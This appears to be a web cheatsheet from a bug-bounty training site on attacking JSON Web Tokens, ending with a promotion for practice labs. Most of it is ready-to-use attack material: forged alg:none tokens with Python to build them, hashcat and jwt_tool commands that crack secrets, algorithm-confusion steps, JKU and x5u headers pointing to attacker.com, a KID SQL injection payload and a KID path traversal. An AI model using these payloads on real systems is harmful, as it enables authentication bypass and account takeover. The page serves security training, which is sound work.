JWT Cheatsheet
JSON Web Token Attacks
Quick reference
- →The JWT payload is NOT encrypted — always decode it and look for sensitive data
- →Try alg:none as your first test — it's the most common quick win in JWT
- →hashcat -m 16500 with rockyou.txt cracks weak secrets in seconds
- →If /jwks.json is accessible, try algorithm confusion RS256->HS256
- →KID path traversal to /dev/null lets you sign with an empty string
none algorithm (CVE-2015-9235)
Header with alg: noneBase64 payload: {"alg":"none","typ":"JWT"}.{"user":"admin"}.
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
Variants of noneTry all case variations
none / None / NONE / nOnE / NoNe
Generate with Python
import base64, json
header = {"alg": "none", "typ": "JWT"}
payload = {"user": "admin", "role": "admin"}
h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
token = f"{h}.{p}."Secret key cracking
hashcat wordlist
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt
hashcat with rules
hashcat -a 0 -m 16500 <jwt_token> rockyou.txt -r /usr/share/hashcat/rules/best64.rule
jwt_tool brute forceMode -C for secret cracking
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt
Decode the payloadThe payload is NOT encrypted, only base64-encoded
echo "<JWT_PAYLOAD>" | base64 -d | jq .
Algorithm confusion (RS256 -> HS256)
Concept
1. Servidor usa RS256 (firma asimetrica) 2. Obtener clave publica: /jwks.json o /.well-known/jwks.json 3. Cambiar alg de RS256 a HS256 4. Firmar token con la clave publica como secret HMAC 5. Servidor usa la misma clave publica para verificar HMAC -> bypass
Get the public key
openssl s_client -connect target.com:443 | openssl x509 -pubkey -noout > pubkey.pem
Exploit with jwt_tool
python3 jwt_tool.py <JWT> -X k -pk pubkey.pem
Header injection (JWK, JKU, KID)
JWK header injectionIf the server uses the key from the header instead of its own
{"alg": "RS256", "jwk": {"kty": "RSA", "n": "<tu_clave_publica>", "e": "AQAB"}}JKU URL manipulationPoint to your server with your public key
{"alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json"}KID SQL injectionSign the token with ATTACKER_SECRET
{"alg": "HS256", "kid": "key1' UNION SELECT 'ATTACKER_SECRET' -- "}KID path traversalSign with an empty string (contents of /dev/null)
{"alg": "HS256", "kid": "../../../dev/null"}x5u header spoof
{"alg": "RS256", "x5u": "https://attacker.com/cert.pem"}Miscellaneous
Modify the payload without signing
1. Cambiar user/role en el payload 2. Mantener la firma original 3. Enviar token -> si el servidor no verifica firma = bypass
Expiration abuse
Modificar exp a valor futuro lejano o eliminar exp completamente
Cross-service relayIf multiple services share the same signing key
Usar JWT de Servicio A en Servicio B
IDOR via JWT
Decodificar JWT -> cambiar userId/email en payload -> account takeover
Find hardcoded tokens
Swagger/OpenAPI specs, JS del frontend, .env files, git history
Tools
jwt_tool
Complete JWT testing suite with automatic, tamper and exploit modes
python3 jwt_tool.py <JWT_TOKEN> -M at -t "https://target.com/api/" -rh "Authorization: Bearer"
jwt.io
Web debugger to decode and verify JWTs
https://jwt.io - Pegar token para decodificar
hashcat
Password cracker with support for JWT HMAC secrets
hashcat -m 16500 <jwt> rockyou.txt
Ready to practice?
Put these payloads to work in real labs based on bug bounty reports.
See practice labs- hunters training
- 650
- labs from real reports
- 50
- completions
- 380
- in bounties practiced
- $200,000
hunters training
labs from real reports
completions
in bounties practiced
Stop reading about bugs and start hunting them
Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.
No card · free Academy · cancel anytime